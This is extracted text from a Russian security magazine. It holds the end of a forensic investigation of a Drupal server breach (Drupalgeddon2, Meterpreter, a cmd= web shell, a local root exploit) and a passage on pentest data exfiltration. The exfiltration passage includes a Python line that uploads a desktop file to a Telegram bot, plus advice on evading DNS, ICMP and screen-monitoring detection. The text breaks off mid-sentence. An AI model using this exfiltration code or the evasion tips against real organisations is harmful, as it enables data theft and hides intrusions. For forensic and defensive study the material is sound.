Иден­тифика­тор алго­рит­ма id=6 соот­ветс­тву­ет алго­рит­му хеширо­вания SHA-


512. Поп­робуй сам ско­пиро­вать выделен­ную на  рисун­ке стро­ку хеша пароля
поль­зовате­ля mail и  проб­рутить его ути­литой John the  Ripper со  сло­варем
rockyou.txt:

john hash.txt --wordlist=rockyou.txt

Вы­вод ути­литы John

Про­ана­лизи­руем файл /etc/group, что­бы понимать, какие поль­зовате­ли сос‐­


тоят в груп­пе sudo.

Часть содер­жимого фай­ла /etc/group

В этом фай­ле содер­жится 58 групп, а в груп­пу sudo вхо­дят поль­зовате­ли php
и  mail. Зна­чит, они могут выпол­нять коман­ды от  име­ни супер­поль­зовате­ля
root. Най­дем пра­вила о  пре­дос­тавле­нии дос­тупа для  груп­пы sudo. Они опи‐­
сыва­ются в фай­ле /etc/sudoers.

Со­дер­жимое фай­ла /etc/sudoers

Это пра­вило озна­чает, что все поль­зовате­ли груп­пы sudo могут выпол­нять
любые дей­ствия в сис­теме от име­ни адми­нис­тра­тора.
Оп­ределим вер­сию и кон­фигура­цию сай­та на Drupal. Для это­го перехо­дим
в  каталог /var/www/html/jabc, в  фай­ле /var/www/html/jabc/includes/
bootstrap.inc содер­жится вер­сия CMS сис­темы. Это Drupal 7.26 — она уяз‐­
вима, и  для нее есть экс­пло­иты, дающие уда­лен­ное выпол­нение кода.
В  качес­тве веб‑сер­вера уста­нов­лен Apache 2. Файл его кон­фигура­ции рас‐­
положен в /etc/drupal/7/htaccess.
Итак, на этом эта­пе мы с тобой выяс­нили, с какой опе­раци­онной сис­темой
мы име­ем дело, какое ПО на ней уста­нов­лено и какие нас­трой­ки заданы.

Продолжение статьи

ВЗЛОМ ←
НАЧАЛО СТАТЬИ

УРОКИ ФОРЕНЗИКИ
РАССЛЕДУЕМ ВЗЛОМ ВЕБ-СЕРВЕРА С LINUX,
APACHE И DRUPAL

ИЩЕМ ТОЧКУ ВХОДА


Те­перь нам нуж­но понять, как  зло­умыш­ленник впер­вые получил дос­туп
к  ском­про­мети­рован­ной сис­теме. Для  это­го про­ана­лизи­руем логи ОС. Все
жур­налы событий Linux хра­нят­ся в  катало­ге /var/log. Ана­лиз этих фай­лов
и сопос­тавле­ние со вре­менем начала инци­ден­та поз­волит нам вос­ста­новить
пол­ную кар­тину событий.
Пер­вым делом гля­нем события веб‑сер­вера Apache. Для  это­го заходим
в  каталог /var/log/Apache2. Здесь нас инте­ресу­ют жур­налы access.log
и  error.log, которые содер­жат события работы веб‑сер­вера. В  фай­ле
access.log содер­жатся зап­росы к  сер­вису Drupal http://192.168.210.
135/jabc/ с  IP-адре­са 192.168.210.131. 5  октября  2019  года в  13:01:27
(UTC+2) обна­ружен POST-зап­рос к веб‑сер­вису в парамет­ре name[#markup].
В  URL зап­роса переда­ется закоди­рован­ная по  алго­рит­му Base64  полез­ная
наг­рузка.

Зап­росы к Drupal 7.26

В Drupal вер­сии  7.26  содер­жится уяз­вимость уда­лен­ного выпол­нения кода


CVE-2018-7600, поз­же получив­шая наз­вание drupalgeddon2. В  Metasploit
сущес­тву­ет модуль drupal_drupalgeddon2, который заг­ружа­ет рас­ширен­ную
мно­гофун­кци­ональ­ную наг­рузку Meterpreter.

INFO
О том, как  работа­ет эта уяз­вимость, читай
в  статье «Дру­пал­геддон-2. Под­робно раз­бира­ем
новую уяз­вимость в Drupal».

Да­вай декоди­руем полез­ную наг­рузку, которая содер­жится в  фун­кции


eval(base64_decode()), и пос­мотрим, что она дела­ет.

Заг­ружа­емая полез­ная наг­рузка

Как вид­но на  рисун­ке выше, код явля­ется полез­ной наг­рузкой Meterpreter
и  содер­жит IP-адрес 192.168.210.131 и  порт 4444 для  обратно­го соеди‐
нения. Отлично, мы теперь зна­ем, что зло­умыш­ленни­ки про­экс­плу­ати­рова­ли
CVE-2018-7600 в сер­висе Drupal вер­сии 7.26 и заг­рузили в память полез­ную
наг­рузку Meterpreter.
Те­перь нам нуж­но най­ти приз­наки пос­тэкс­плу­ата­ции. 5 октября 2019 года
в  13:17:48 (UTC+2) обна­ружен зап­рос к  фай­лу update.php c парамет­ром
cmd=ls.

Зап­рос к веб‑шел­лу update.php

Этот файл мы иссле­дуем чуть поз­же, а пока заг­лянем в  auth.log в  катало­ге


/var/log. Это  один из  самых важ­ных арте­фак­тов в  Linux. Здесь лежат
события аутен­тифика­ции в  сис­теме. Для  вре­мен­ных отме­ток в  auth.log
исполь­зует­ся сис­темное вре­мя. В нашем слу­чае вре­мен­ная зона выс­тавле­на
по Брюс­селю (UTC+2).
На­чиная с 12:39:26 5 октября 2019 года выпол­нялся под­бор пароля поль‐­
зовате­ля root служ­бы SSH с IP-адре­са 192.168.210.131.

Не­удач­ная попыт­ка под­бора пароля поль­зовате­ля root

В 13:06:38 в тот же день соз­дан поль­зователь php с домаш­ней дирек­тори­ей /


usr/php. Далее поль­зователь php добав­лен в груп­пу sudo, что поз­воля­ет ему
выпол­нять коман­ды от име­ни адми­нис­тра­тора.

Соз­дание поль­зовате­ля php и добав­ление в груп­пу sudo

В 13:09:18 поль­зователь mail добав­лен в груп­пу sudo.

До­бав­ление поль­зовате­ля mail в груп­пу sudo

В  13:23:34  поль­зователь mail зашел c IP-адре­са 192.168.210.131, порт


57708 служ­бы SSH.

Вход поль­зовате­ля mail на ском­про­мети­рован­ный компь­ютер

Эта сес­сия дли­лась од­ну минуту.


Файл /var/log/syslog содер­жит общие сис­темные сооб­щения. В  час‐­
тнос­ти, в нем мож­но видеть зап­росы к сер­веру DHCP и получе­ние IP-адре­са:
сер­вер  192.168.210.254  выделил IP-адрес иссле­дуемо­му компь­юте‐­
ру 192.168.210.135.

Вза­имо­дей­ствие с сер­вером DHCP

Те­перь заг­лянем в  /var/log/lastlog  — этот файл содер­жит информа­цию


о пос­ледних сес­сиях поль­зовате­лей. Находим два IP-адре­са, с которых про‐­
изво­дилась авто­риза­ция в сис­теме.

Ин­форма­ция из фай­ла lastlog

И наконец, смот­рим /var/log/wtmp, этот файл тоже содер­жит информа­цию


о вхо­де поль­зовате­лей в сис­тему. Одна­ко он бинар­ный, поэто­му для его чте‐­
ния исполь­зуем ути­литу utmpdump.

utmpdump wtmp

Ин­форма­ция о поль­зовате­лях, авто­ризо­ван­ных 5 октября 2019 года

Файл /var/log/btmp содер­жит информа­цию о  неудач­ных попыт­ках вхо­да


в сис­тему. Для его чте­ния так­же вос­поль­зуем­ся ути­литой utmpdump:

utmpdump btmp

Со­дер­жимое фай­ла /var/log/btmp

В этом фай­ле находим сле­ды попыток неудач­ного вхо­да поль­зовате­ля root c


IP-адре­са 192.168.210.131. Про­исхо­дит под­бор пароля к служ­бе SSH.
Итак, на  этом эта­пе мы с  тобой наш­ли точ­ку вхо­да зло­умыш­ленни­ков
в  сис­тему. 5  октября  2019  года в  13:01:27 (UTC+2) зло­умыш­ленни­ки экс­плу‐­
ати­рова­ли уяз­вимость drupalgeddon2 (CVE-2018-7600) в  CMS Drupal вер‐­
сии  7.26. Соз­дали поль­зовате­ля php, добави­ли поль­зовате­лей php и  mail
в  груп­пу sudo. Далее авто­ризо­вались в  сис­теме от  поль­зовате­ля mail. Мы
так­же выяс­нили, что источни­ком компь­ютер­ной ата­ки был IP-
адрес 192.168.210.131.

ИЩЕМ МЕТОДЫ ПОСТЭКСПЛУАТАЦИИ


По­лучив дос­туп к сис­теме, зло­умыш­ленник обыч­но ищет спо­собы зак­репить‐­
ся в  ней. Про­ана­лизи­руем дей­ствия поль­зовате­лей root, php и  mail, что­бы
понять, как это про­исхо­дило. Информа­ция о выпол­ненных коман­дах хра­нит­ся
в  фай­ле .bash_history домаш­него катало­га каж­дого поль­зовате­ля. Дей‐­
ствия поль­зовате­ля root хра­нят­ся в фай­ле /root/.bash_history.

Со­дер­жимое фай­ла .bash_history поль­зовате­ля root

От поль­зовате­ля root выпол­нены сле­дующие инте­рес­ные коман­ды:


• rm 37282.c — уда­ление фай­ла 37282.c;
• vim scripts/update.php — соз­дание фай­ла.

Пе­рехо­дим к поль­зовате­лю mail.

Со­дер­жимое фай­ла .bash_history поль­зовате­ля mail

Поль­зователь mail выпол­нил коман­ду sudo su - с  целью повыше­ния при‐­


виле­гий, а затем passwd php — для сме­ны пароля поль­зовате­ля php.

Восстанавливаем стертый файл


Мы с  тобой прос­каниро­вали вир­туаль­ный диск с  помощью R-Studio. Теперь
най­дем стер­тый файл 37282.c. В R-Studio перехо­дим на вклад­ку «Инс­тру­мен‐­
ты → Най­ти», выбира­ем «Фай­лы» и вво­дим наз­вание фай­ла.
В катало­ге /tmp обна­ружен файл 37282.c, вос­ста­новим его и про­ана­лизи‐­
руем.

Об­наружен­ный файл

Файл соз­дан  5  октября  2019  года в  14:02:18 (UTC+3). Имей в  виду, что R-
Studio отоб­ража­ет вре­мен­ную мет­ку фай­лов с уче­том тво­его сис­темно­го вре‐­
мени.

Со­дер­жимое фай­ла 37282.c

Вос­ста­нов­ленный файл  — это  экс­пло­ит для  уяз­вимос­ти CVE-2015-1328,


который поз­воля­ет локаль­ным поль­зовате­лям получить root-дос­туп. Автор
его — rebel.
Най­дем файл /var/www/html/jabc/scripts/update.php.

Да­та соз­дания фай­ла update.php

5  октября  2019  года в  14:17:48 (UTC+3) зло­умыш­ленни­ки соз­дали файл


update.php.

Со­дер­жимое фай­ла update.php

Это PHP-шелл, который поз­воля­ет получать дос­туп к сис­теме на пос­тоян­ной


осно­ве. Для  выпол­нения команд зло­умыш­ленни­ки отправ­ляют GET-зап­рос
с парамет­ром cmd=.

СТРОИМ ТАЙМЛАЙН СОБЫТИЙ


У нас накопи­лось мно­жес­тво вре­мен­ных меток в  раз­ных фор­матах. Сис‐­
темное вре­мя опе­раци­онной сис­темы  — Europe/Brussels. Во  мно­гих евро‐­
пей­ских стра­нах остался переход с  лет­него вре­мени на  зим­нее. Переход
совер­шает­ся 31 октября. Если события про­исхо­дят до 31 октября, то фор­мат
будет UTC+2  — это  лет­нее вре­мя, а  пос­ле  31  октября  — UTC+1. При­ведем
к обще­му фор­мату UTC.
• 5  октября  2019  года  11:01:27 зло­умыш­ленни­ки про­экс­плу­ати­рова­ли
уяз­вимость CVE-2018-7600 в CMS Drupal вер­сии 7.26, заг­рузили обо­лоч­ку
Meterpreter.
• В  11:02:18 заг­рузили файл 37282.c, ском­пилиро­вали сис­тему
и повыси­ли свои при­виле­гии до root.
• В 11:06:38 соз­дали поль­зовате­ля php и добави­ли его в груп­пу sudo.
• В 11:09:31 добави­ли поль­зовате­ля mail в груп­пу sudo.
• В 11:17:48 соз­дали файл update.php с целью сох­ранения пос­тоянс­тва
в сис­теме.
• В  11:23:34 авто­ризо­вались в  сис­теме под  поль­зовате­лем mail c IP-
адре­са 192.168.210.131, порт 57708.

Для соз­дания тай­млай­нов удоб­но исполь­зовать Plaso. Там есть очень удоб‐­
ный скрипт Psteal, который уме­ет извле­кать события из  обра­за дис­ка сис‐­
темы. Вот как его исполь­зовать:

python3 psteal.py --source Webserver.E01 -w timeline.csv

Ког­да скрипт отра­бота­ет, ты получишь файл CSV со  всей пос­ледова­тель‐­


ностью вре­мен­ных меток.

ВЫВОДЫ
Мы с тобой про­вели рас­сле­дова­ние киберин­циден­та, наш­ли точ­ку вхо­да зло‐­
умыш­ленни­ков, выяви­ли даль­нейшие дей­ствия пос­ле взло­ма веб‑сер­вера
и пос­тро­или тай­млайн событий, который мож­но будет сме­ло вклю­чать в отчет.
По резуль­татам решения кей­са на  CyberDefenders необ­ходимо отве­тить
на  ряд воп­росов, но  я намерен­но показал лишь про­цесс решения и  не буду
давать тебе готовые отве­ты. Можешь пов­торить про­цесс и  самос­тоятель­но
отве­тить на воп­росы для зак­репле­ния матери­ала.
ВЗЛОМ

ПРОБЛЕМЫ
ЭКСФИЛЬТРАЦИИ
КАК ПОЙМАТЬ ВОРОВ
ИЛИ НЕ ПОПАСТЬСЯ
ПРИ ПЕНТЕСТЕ

Иван Балашов
Главный эксперт отдела
Оценки защищенности
Центра Киберзащиты в
Департаменте
Кибербезопасности Сбера

Эк­сфиль­тра­ция дан­ных  — этап тес­тирова­ния на  про­ник‐­


новение, ког­да ата­кующий пыта­ется скрыт­но выг­рузить дан‐­
ные из  целевой сис­темы за  пре­делы перимет­ра орга­низа‐­
ции. При этом важ­но не прив­лечь вни­мание средств защиты
и остать­ся незаме­чен­ным. В сегод­няшней статье мы погово‐­
рим о  раз­ных методах эксфиль­тра­ции и  средс­твах борь­бы
с ними.

В MITRE ATT&CK выделе­ны сле­дующие тех­ники переда­чи дан­ных, исполь‐­


зуемые зло­умыш­ленни­ками:
• ав­томати­зиро­ван­ная эксфиль­тра­ция (Automated Exfiltration);
• ог­раниче­ние раз­мера переда­ваемых дан­ных (Data Transfer Size Limits);
• эк­сфиль­тра­ция через аль­тер­натив­ный про­токол (Exfiltration Over Alternative
Protocol);
• эк­сфиль­тра­ция через канал управле­ния C2 (Exfiltration Over Command
and Control Channel);
• эк­сфиль­тра­ция через аль­тер­натив­ную сетевую сре­ду (Exfiltration Over Other
Network Medium);
• эк­сфиль­тра­ция через аль­тер­натив­ную физичес­кую сре­ду (Exfiltration Over
Physical Medium);
• эк­сфиль­тра­ция через веб‑сер­вис (Exfiltration Over Web Service);
• зап­ланиро­ван­ная переда­ча (Scheduled Transfer);
• пе­реда­ча дан­ных на облачный сер­вис (Transfer Data to Cloud Account).

Я рас­смот­рю нес­коль­ко наибо­лее зна­чимых методов эксфиль­тра­ции, обсу‐­


дим, как им про­тиво­дей­ству­ет защита и каким обра­зом это про­тиво­дей­ствие
мож­но обой­ти при тес­тирова­нии.

ЭКСФИЛЬТРАЦИЯ ДАННЫХ ЧЕРЕЗ ОБЛАЧНЫЕ СЕРВИСЫ


Ес­ли говорить о спо­собах эксфиль­тра­ции, то, конеч­но же, заг­рузка на внеш‐­
ний облачный диск  — это  наибо­лее прос­той спо­соб. Если в  кор­поратив­ной
сети раз­решены облачные хра­нили­ща, такие как  Google Drive, Dropbox,
Microsoft OneDrive, их мож­но исполь­зовать для эксфиль­тра­ции дан­ных за пре‐­
делы сетево­го перимет­ра и оста­вать­ся незаме­чен­ным. Ата­кующе­му в дан­ном
слу­чае не нуж­но нас­тра­ивать собс­твен­ную инфраструк­туру.
Нап­ример, модуль exfil_dropbox фрей­мвор­ка для  пос­тэкс­плу­ата­ции
PowerShell Empire под­держи­вает такую воз­можность «из короб­ки». Этот
модуль исполь­зует облачное хра­нили­ще Dropbox.
Пред­положим, у нас есть дос­туп к уда­лен­ному компь­юте­ру в виде сес­сии
PowerShell Empire. Задача — заг­рузить на облачный сер­вис Dropbox нес­коль‐­
ко фай­лов c рабоче­го сто­ла.

Заг­рузка фай­лов с рабоче­го сто­ла

Ес­ли пред­варитель­ная нас­трой­ка API Key сде­лана вер­но, пос­ле запус­ка


модуля фай­лы будут заг­ружены по  ука­зан­ному пути в  облачный сер­вис
Dropbox.

Заг­рузка фай­лов в Dropbox

Од­нако мир дви­жет­ся впе­ред, и  сей­час мно­гие уже не  исполь­зуют сер­висы
хос­тинга фай­лов: их с успе­хом замени­ли мес­сен­дже­ры, прак­тичес­ки в каж­дом
из которых есть воз­можность исполь­зовать диалог как облачное хра­нили­ще.
То, сколь­ко в  чатах того же WhatsApp ходит фотог­рафий пас­портов и  дру­гих
пер­сональ­ных дан­ных «по работе», зас­лужива­ет отдель­ной статьи. Кро­ме
того, для нас важ­но, что у круп­ных мес­сен­дже­ров есть веб‑вер­сии, дос­тупные
нап­рямую из бра­узе­ра. Выг­ружать дан­ные через них воз­можно как через бра‐­
узер (если мы име­ем физичес­кий дос­туп к  машине), так и  авто­мати­чес­ки,
исполь­зуя API. Зачас­тую для это­го уже пре­дус­мотре­на фун­кция заг­рузки фай‐­
лов. Нап­ример, через Telegram-бота. Дела­ется это  все­го одним POST-зап‐­
росом.

import requests
requests.post("https://api.telegram.org/botBOTTOKEN/
sendDocument?chat_id=00000",files={"document":open('Desktop\\cypher.
jpg','rb')})

В резуль­тате файл заг­ружен сра­зу в авто­мати­чес­ком режиме.

Заг­ружен­ный файл

В качес­тве канала выг­рузки дан­ных мож­но вос­поль­зовать­ся фун­кци­ей заг‐­


рузки фай­лов на  любых дру­гих легитим­ных ресур­сах. Нап­ример, она есть
на мно­жес­тве Wiki-про­ектов и баг­тре­керах.

Как ловить?
От­делить чес­тный поль­зователь­ский тра­фик от  зло­дей­ской попыт­ки вывес­ти
дан­ные через веб — задача неп­ростая. Осо­бен­но учи­тывая, что сей­час поч­ти
не  оста­лось ресур­сов, которые  бы не  исполь­зовали шиф­рование. Так что
основной инс­тру­мент борь­бы в  этом слу­чае  — баналь­ная бло­киров­ка внеш‐­
них ресур­сов на  перимет­ре орга­низа­ции. Так мож­но бороть­ся с  заг­рузкой
на облачные хра­нили­ща или даже заб­локиро­вать все мес­сен­дже­ры и GitHub.
Одна­ко это не спа­сет от вык­ладыва­ния порезан­ного на кус­ки шиф­рован­ного
архи­ва с изме­нен­ным рас­ширени­ем на какую‑нибудь мало­извес­тную, но име‐­
ющую чес­тную репута­цию вики.
На­ибо­лее дешевый и  эффектив­ный спо­соб в  этом слу­чае  — вай­тлист
интернет‑ресур­сов, дос­тупных из  кор­поратив­ной сети. Одна­ко сей­час очень
мало орга­низа­ций может поз­волить себе пол­ностью изо­лиро­вать сво­их сот‐­
рудни­ков от  веба. Если такая воз­можность есть, то мож­но исполь­зовать
филь­тру­ющий прок­си, что даст поль­зовате­лям дос­туп к вебу и обес­печит кон‐­
троль конеч­ных URL, типов и тел зап­росов.

Как обойти?
Да­же если фун­кция заг­рузки фай­ла недос­тупна в  чис­том виде (нап­ример,
заб­локиро­ваны все POST-зап­росы раз­мером боль­ше 1 Мбайт), воз­можность
переда­вать сооб­щения в обе сто­роны при исполь­зовании средств авто­мати‐­
зации прев­раща­ет про­токол такого при­ложе­ния в  пол­ноцен­ную сре­ду
переда­чи дан­ных. Рас­смот­рим в  качес­тве при­мера при­ложе­ние Zoom, став‐­
шее очень популяр­ным за вре­мя пан­демии. Это при­ложе­ние име­ет пол­ноцен‐­
ный REST API. Как  в кли­енте, так и  через API Zoom есть воз­можность соз‐
давать каналы и писать сооб­щения в них.
На GitHub выложен PoC на Python, пред­став­ляющий собой шелл, который
исполь­зует каналы Zoom как  сре­ду переда­чи. Управлять ПК, на  котором
запущен скрипт, воз­можно как через API, так и непос­редс­твен­но из кли­ента.

Ка­налы в Zoom

За­меть, этот PoC соз­дан в пер­вую оче­редь для демонс­тра­ции и не учи­тыва­ет


задава­емые Zoom огра­ниче­ния на  количес­тво сооб­щений и  дли­ну одно­го
сооб­щения.
Важ­ная осо­бен­ность здесь в  том, что API-зап­росы при­нима­ют все сер‐­
веры Zoom. В том чис­ле даже если зап­рос идет по IP, без име­ни хос­та. Таким
обра­зом, если в  про­цес­сах ком­пании плот­но исполь­зует­ся Zoom, про­тиво‐­
дей­ство­вать такому методу слож­но, не  бло­кируя дос­туп к  сер­верам Zoom
пол­ностью. Это  спра­вед­ливо и  если говорить о  выг­рузке через дру­гие мес‐­
сен­дже­ры. Если не знать вызыва­емый метод API, невоз­можно отфиль­тро­вать
выг­рузку дан­ных от легитим­ного тра­фика мес­сен­дже­ра.

DNS-ТУННЕЛИРОВАНИЕ
Ин­капсу­ляция дан­ных в  тело прик­ладных про­токо­лов  — один из  самых рас‐­
простра­нен­ных методов эксфиль­тра­ции дан­ных и  пос­тро­ения тун­нелей. Так
как  исхо­дящий DNS-тра­фик раз­решен в  боль­шинс­тве кор­поратив­ных сетей,
его мож­но исполь­зовать как канал свя­зи меж­ду сер­вером ата­кующе­го и ском‐­
про­мети­рован­ным хос­том.
В нас­тоящее вре­мя сущес­тву­ет мно­жес­тво ути­лит для соз­дания DNS-тун‐­
нелей: NSTX, DNSCat2, Iodine, TUNS, Dns2TCP, DeNiSe, DNScapy, Heyoka,
OzymanDNS, psudp, squeeza, tcp-over-dns. В  2017  году на  кон­ферен­ции
ZeroNights санкт‑петер­бург­ская груп­па DC 7812  пред­ста­вила рас­ширение
Meterpreter, реали­зующее тран­спортный канал для  кон­тро­ля над  аген­том
Meterpreter при помощи DNS-тун­неля.

Рас­ширение Meterpreter

Как ловить?
Есть раз­ные методы обна­руже­ния DNS-тун­нелиро­вания в сети. Все они осно‐­
ваны на  ана­лизе содер­жимого пакетов DNS, а  так­же количес­тва и  час­тоты
DNS-зап­росов. При эксфиль­тра­ции дан­ные кодиру­ются и переда­ются в виде
под­доменов треть­его уров­ня. Дли­на под­домена, как  пра­вило, не  пре­выша‐­
ет  30  сим­волов, соот­ветс­твен­но, мож­но уста­новить пра­вила для  бло­киров­ки
зап­росов, пре­выша­ющих этот порог.
Еще один спо­соб  — ана­лиз энтро­пии домен­ных имен. Как  пра­вило,
легитим­ные URL содер­жат осмыслен­ные час­ти, в то вре­мя как закоди­рован‐­
ные в Base64 дан­ные име­ют более высокую энтро­пию.
Как вари­ант, мож­но искать в  пакетах записи DNS, которые нехарак­терны
для легитим­ного тра­фика, нап­ример CNAME или TXT. Если полити­ка безопас‐­
ности тре­бует, что­бы все зап­росы про­ходи­ли через внут­ренний сер­вер DNS,
то по  наруше­ниям мож­но отсле­дить нелеги­тим­ный тра­фик. Одна­ко боль‐­
шинс­тво ути­лит пред­назна­чены для  работы даже при  пересыл­ке зап­росов
через внут­ренний DNS. Мно­гие ути­литы исполь­зуют собс­твен­ные алго­рит­мы
генера­ции домен­ных имен, что поз­воля­ет обна­ружи­вать тун­нели по  сиг‐­
натурам.
Один из  основных и  наибо­лее прос­тых методов обна­руже­ния  — ана­лиз
объ­ема DNS-тра­фика для кон­крет­ного кли­ент­ско­го IP-адре­са. Если зап­росов
вдруг замет­но боль­ше, чем от  дру­гих хос­тов, зна­чит, есть подоз­рение
на эксфиль­тра­цию.

Как обойти?
Скрыть DNS-тун­нелиро­вание от  средств защиты луч­ше все­го помога­ют
самопис­ные инс­тру­мен­ты, так как сиг­натуры уже соз­данных ути­лит есть у вен‐­
доров. Кро­ме того, луч­ше все­го исполь­зовать рас­простра­нен­ные типы DNS-
записей, такие как A и AAAA. Так­же мож­но при­менять уни­каль­ные алго­рит­мы
генера­ции домен­ного име­ни для  переда­чи закоди­рован­ной информа­ции,
что­бы они не пре­выша­ли опре­делен­ной дли­ны и име­ли неболь­шую энтро­пию.

ICMP-ТУННЕЛИРОВАНИЕ
ICMP (Internet Control Message Protocol) — про­токол сетево­го уров­ня, исполь‐­
зуемый для диаг­ности­ки сети.
Ути­литы ping и  tracert  — два основных инс­тру­мен­та адми­нис­тра­тора
для диаг­ности­ки неис­прав­ностей в сети. Без них диаг­ности­ка сети прев­раща‐­
ется для инже­нера в ад. Поэто­му тра­фик ICMP прак­тичес­ки никог­да не огра‐­
ничи­вает­ся. Сог­ласно RFC 792, пакеты ICMP вклю­чают в  себя поле Data,
содер­жимое и  фор­мат которо­го стро­го не  опре­деле­ны, что откры­вает воз‐­
можность для инкапсу­ляции любых дан­ных.
Для ICMP-тун­нелиро­вания сущес­тву­ют раз­ные инс­тру­мен­ты, такие
как icmpsh, ptunnel и icmptunnel. Важ­ный момент: для отправ­ки модифи­циро‐­
ван­ных пакетов ICMP в  Linux тре­буют­ся пра­ва адми­нис­тра­тора сис­темы.
В Windows таких огра­ниче­ний нет. С опре­делен­ного момен­та плат­форма .NET
ста­ла содер­жать все необ­ходимые инс­тру­мен­ты, которые поз­воля­ют
при  помощи обер­тки в  PowerShell соб­рать свой ICMP-тун­нель для  вывода
дан­ных без при­мене­ния сто­рон­них ути­лит.
На GitHub ты можешь най­ти код кли­ента и сер­вера, которые переп­равля­ют
дан­ные через зап­росы echo, исполь­зуя встро­енные методы клас­са Ping
из сис­темной сбор­ки.

Как ловить?
Де­тек­тирова­ние и бло­киров­ка ICMP-тун­нелей — задача нет­риви­аль­ная, хотя
и  не очень слож­ная. Глав­ная проб­лема зак­люча­ется в  том, что тра­фик ICMP
нель­зя бло­киро­вать пол­ностью  — это  может парали­зовать инфраструк­туру
сети. Одна­ко, нап­ример, белые спис­ки исхо­дящих ICMP-соеди­нений могут
силь­но осложнить задачу пос­тро­ения канала наружу. В  спис­ке мож­но оста‐­
вить лишь извес­тные хос­ты, необ­ходимые для диаг­ности­ки соеди­нения.
Сиг­натура­ми при  детек­тирова­нии тун­нелей могут слу­жить такие парамет‐­
ры, как  силь­ное откло­нение раз­мера пакетов от  нор­мы и  слиш­ком плот­ный
и про­дол­житель­ный поток тра­фика ICMP от какого‑то одно­го хос­та. Но глав‐­
ный мар­кер — это, конеч­но, поле Data.
Впро­чем, необ­ходимо пом­нить, что поле Data исполь­зуют и  впол­не
легитим­ные ути­литы. Нап­ример, такая при­выч­ная вещь, как  ути­лита ping,
в каж­дом пакете зап­роса echo запол­няет в том чис­ле и поле Data. И в зависи‐­
мос­ти от  ОС поле будет запол­нено по‑раз­ному. Так, для  Windows это  будет
стро­ка abcdefghijklmnopqrstuvwabcdefghi. В Linux у ping пер­вые два бай­та
Data отли­чают­ся от  пакета к  пакету, но  осталь­ное содер­жимое не  меня­ется.
В сыром HEX оно выг­лядит так:

3030000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b
2c2d2e2f3031323334353637

В дам­пе будет сра­зу замет­но окон­чание ASCII-стро­ки: **!"#$%&'()+,-./


01234567. Это еще один параметр для фин­гер­прин­тинга ОС, такого как TTL.

Как обойти?
Как и  с дру­гими спо­соба­ми, тут мно­гое зависит от  пра­вил детек­тирова­ния.
Под­ста­нов­ка в  начале пос­ледова­тель­нос­ти abcdef поз­волит при­дать нашим
пакетам вид легитим­ных. Для  борь­бы с  тун­нелями ICMP обыч­но бло­киру­ют
зап­росы echo, одна­ко час­то не  бло­киру­ют дру­гие типы ICMP. Нап­ример,
destination unreachable.
Кро­ме того, если наша задача — толь­ко вывод дан­ных, без обратной свя‐­
зи от  сер­вера, то дос­таточ­но односто­рон­него тун­неля, а  зна­чит, мы можем
генери­ровать слу­чай­ные IP-адре­са источни­ка (нап­ример, с  исполь­зовани­ем
scapy). Это  поз­волит обой­ти филь­тра­цию и  детект боль­шого потока пакетов
от одно­го IP. Кро­ме того, этот при­ем поз­волит замас­кировать реаль­ный адрес
машины, слу­жащей источни­ком утеч­ки.

ЭКСФИЛЬТРАЦИЯ ДАННЫХ ЧЕРЕЗ ИЗОБРАЖЕНИЯ


Су­щес­тву­ют и необыч­ные методы эксфиль­тра­ции дан­ных, выявить их на уров‐­
не сети невоз­можно. Так, в  2017  году Алан Мони из  ком­пании Pen Test
Partners опи­сал метод эксфиль­тра­ции через кодиро­вание дан­ных в зна­чени­ях
цве­та пик­селей. Ата­куемый хост мига­ет экра­ном, при­нима­ющая сто­рона зах‐­
ватыва­ет видео и  декоди­рует дан­ные. При  раз­решении экра­на 1920 × 1080
в 24-бит­ном цве­те мож­но кодиро­вать поч­ти 6 Мбайт.
Алан Мони соз­дал и  ути­литу, реали­зующую этот метод. Зах­вачен­ный хост
мига­ет экра­ном и в каж­дой вспыш­ке переда­ет блок дан­ных, который начина‐­
ется с  опре­делен­ного заголов­ка. Как  толь­ко при­емник получа­ет кадр
без  заголов­ка, он вос­ста­нав­лива­ет содер­жимое из  уже получен­ных кад­ров
и сох­раня­ет резуль­тат в файл.
На при­нима­ющей сто­роне необ­ходимо запус­тить ути­литу в  режиме
Receiver.

За­пуск ути­литы в режиме Receiver

На переда­ющей сто­роне нуж­но открыть файл, который будет закоди­рован


в пик­сели и счи­тан при­нима­ющей сто­роной.

От­кры­тие фай­ла

Пос­ле откры­тия фай­ла экран нач­нет мигать. При­нима­ющая сто­рона будет


декоди­ровать пик­сели и сох­ранять файл.

Де­коди­рова­ние пик­селей и сох­ранение фай­ла

Этот метод ста­новит­ся осо­бен­но акту­аль­ным во  вре­мя пан­демии, так


как мно­гие ком­пании переш­ли на уда­лен­ку и исполь­зуют для дос­тупа к внут‐­
ренней сети средс­тва вро­де RDP и Citrix.

Как ловить?
Об­наружить такой спе­цифи­чес­кий метод штат­ными средс­тва­ми может быть
проб­лематич­но. Одна­ко ути­лита пока что встре­чает­ся ред­ко и  не обросла
боль­шим чис­лом модифи­каций. Так что мож­но защитить­ся добав­лени­ем хеша
исполня­емо­го фай­ла в базу анти­виру­са.
Что­бы пол­ноцен­но отсле­живать запуск подоб­ного передат­чика, при­дет­ся
кон­тро­лиро­вать изоб­ражение рабоче­го сто­ла сот­рудни­ков. Так как при­емник
ищет в кад­рах спе­циаль­ный заголо­вок, его может искать и средс­тво защиты.

Как обойти?
Вен­дор­ских решений, которые  бы про­тиво­дей­ство­вали такому спо­собу
эксфиль­тра­ции, пока что не  сущес­тву­ет, поэто­му и  запуск передат­чика вряд
ли будет обна­ружен. Одна­ко, если в  ком­пании исполь­зуют­ся сис­темы, кон‐­
тро­лиру­ющие активность сот­рудни­ков, есть опре­делен­ная веро­ятность, что
кто‑то может заметить стран­ное мигание на  рабочем сто­ле. Так что
перед  исполь­зовани­ем это­го метода сто­ит заранее убе­дить­ся, смот­рит ли
дежур­ная служ­ба за рабочи­ми сто­лами сот­рудни­ков или нет.

ЗАКЛЮЧЕНИЕ
В этой статье я соб­рал раз­ные методы, которые поз­воля­ют передать
информа­цию в обход огра­ниче­ний как на прик­ладном уров­не, так и на более
низ­ких. Обоб­щив эти при­меры, мож­но сде­лать вывод, что если в орга­низа­ции
есть каналы переда­чи информа­ции во  внеш­ний мир, то эти каналы так
или ина­че могут быть исполь­зованы для эксфиль­тра­ции дан­ных. Как извес­тно,
информа­цию нель­зя извлечь толь­ко из  вык­лючен­ного компь­юте­ра в  клет­ке
Фарадея, залитой для надеж­ности бетоном. По край­ней мере, пока.
В сов­ремен­ных реалиях ком­пании не  могут поз­волить себе быть пол‐­
